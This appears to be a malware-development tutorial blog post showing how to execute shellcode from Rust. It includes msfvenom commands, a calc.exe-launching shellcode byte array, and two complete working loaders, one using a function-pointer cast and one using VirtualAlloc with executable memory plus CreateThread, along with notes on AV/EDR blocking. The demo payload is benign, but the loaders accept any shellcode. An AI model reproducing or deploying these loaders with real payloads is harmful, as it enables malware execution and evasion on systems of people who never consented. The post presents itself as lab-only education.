Shell Code Execution in Rust

4 min read by M1NDB3ND3R
maldevrust

Shellcode Execution in Rust (In-Process)

Disclaimer: Educational use in a controlled lab only. Run payloads only on systems you own or are authorized to test. Security tools may flag or block these techniques.

What Is Shellcode Execution vs Injection?

  • Shellcode execution: Place shellcode in the current process and transfer execution to it. That’s what this post demonstrates.
  • Shellcode injection: Write shellcode into another (remote) process and execute it there (e.g., via OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread). This post does not cover remote injection.

Rust is memory-safe by default. Low-level operations that interact with raw pointers and executable memory require unsafe, which makes Rust a good environment to understand the boundaries between safe code and OS behavior.

Let’s Get Practical

Install the Rust toolchain. If you’re on Linux/macOS and need a Windows binary, set up the correct Windows target for your architecture (x86 vs x64). Your shellcode architecture must match your Rust binary’s target.

Let’s Create a New Project

cargo new shell_code_injection
cd shell_code_injection

Let’s Generate Shellcode Using msfvenom

We’ll use msfvenom to generate shellcode that launches calc.exe.

msfvenom -p windows/exec CMD=calc.exe -f csharp
                        (or)
msfvenom -p windows/exec CMD=calc.exe -f rust

Tip: Choose the correct architecture (e.g., windows/x64/exec for 64-bit). The shellcode must match the binary’s architecture.

Example output for the Rust format:

(base) ➜  ~ msfvenom -p windows/exec CMD=calc.exe -f rust

    static buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];


Try These Steps First (In-Process)

  1. Create a new Rust project.
  2. Generate shellcode for your target architecture.
  3. Add the shellcode bytes to a static array in your program.
  4. Obtain a pointer to the array and call it via a function-pointer cast in an unsafe block.
  5. Build and run in a lab environment.

Now, compare with the code below to verify your approach.

Reference Code (In-Process)

Open src/main.rs and add the following. This is an in-process execution example: the program declares a static byte array and jumps to it within the same process.

fn main() {

    #[unsafe(link_section = ".text")]
    static buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];


    let bufptr = &buf as *const u8;

    unsafe {

        let exec = std::mem::transmute::<*const u8,fn()>(bufptr);
        exec();

    }
}

What this does:

  • Declares shellcode as a static byte array.
  • Takes a raw pointer to those bytes.
  • Unsafely casts the pointer to a function pointer and calls it, transferring execution to the shellcode inside the same process.

Important notes:

  • The attribute #[unsafe(link_section = ".text")] as written is not valid Rust; if you want to place data in a section, look into #[link_section = "..."] and its caveats. On modern systems with DEP/NX, section placement can be unreliable; explicit executable memory allocation is a more robust approach, but is beyond the scope here.
  • This is execution, not remote injection.

Check and Build

cargo check

Build and Execute the Program

cargo run

If your lab environment allows it, the program runs and opens calc.exe as expected.

Output

Troubleshooting

  • Architecture mismatch: Ensure shellcode (x86 vs x64) matches your Rust target.
  • Security tooling: AV/EDR may block execution; test in an isolated lab.
  • Access violations: Often due to executing from non-executable memory. Section placement is not guaranteed; consider allocating executable memory (research Windows API or platform-appropriate methods).
  • Calling conventions: Confirm the function-pointer cast is appropriate for your platform.

Shellcode Execution Using WinAPI (Windows)

This variant executes shellcode by allocating executable memory and launching it on a new thread via Windows APIs. It runs in the current process (not remote injection).

Try These Steps First (WinAPI)

  1. Add the WinAPI crate and features in Cargo.toml.
  2. Place your shellcode bytes in a buffer.
  3. Allocate executable memory with VirtualAlloc.
  4. Copy the shellcode bytes into the allocated region.
  5. Create a thread at the base address with CreateThread.
  6. Wait for the thread to complete with WaitForSingleObject.

Prerequisites (WinAPI):

  • Add the winapi crate with required features in Cargo.toml:
[dependencies]
winapi = { version = "0.3", features = ["memoryapi", "errhandlingapi", "processthreadsapi", "synchapi", "winnt"] }

Expected Outcome (In-Process)

  • Launches calc.exe in the current user session.
  • No access violation or illegal instruction; process returns cleanly if the shellcode does.
  • If it fails: confirm x86 vs x64 match, ensure the memory region is executable (section placement can be brittle), and consider AV/EDR interference.
  • Build for the architecture that matches your shellcode (x64 vs x86). The MSVC toolchain on Windows is typical.
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;
use std::mem::transmute;

fn main() {

    let buf: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
0x2e,0x65,0x78,0x65,0x00];

    unsafe {

        let base_addr = VirtualAlloc(std::ptr::null_mut(), buf.len(), 0x00001000 /* MEM_COMMIT */, 0x40 /* PAGE_EXECUTE_READWRITE */);

        if !base_addr.is_null() && GetLastError() == 0 {
            std::ptr::copy(buf.as_ptr() as *const u8 ,base_addr as *mut u8,buf.len());

            let mut threadid = 0;
            let threadhandle = CreateThread(std::ptr::null_mut(),0,Some(transmute(base_addr)),std::ptr::null_mut(),0,&mut threadid);

            println!("[+] Thread id:{:x?}",threadid);
            println!("[+] Thread Handle : {:x?}",threadhandle);


            WaitForSingleObject(threadhandle, 0xFFFFFFFF /* INFINITE */);

        }else{
            println!("[-] VirutallAlloc Failed");
        }
    }
}

Output for WinAPI Shellcode

Expected Outcome (WinAPI)

  • VirtualAlloc returns a non-null address; no last-error set.
  • CreateThread returns a valid thread handle; thread ID is printed.
  • WaitForSingleObject waits until completion; calc.exe launches.
  • If it fails: check architecture match, confirm PAGE_EXECUTE_READWRITE was used (or adjust to W^X-friendly pattern by setting RW then changing to RX), and review AV/EDR logs.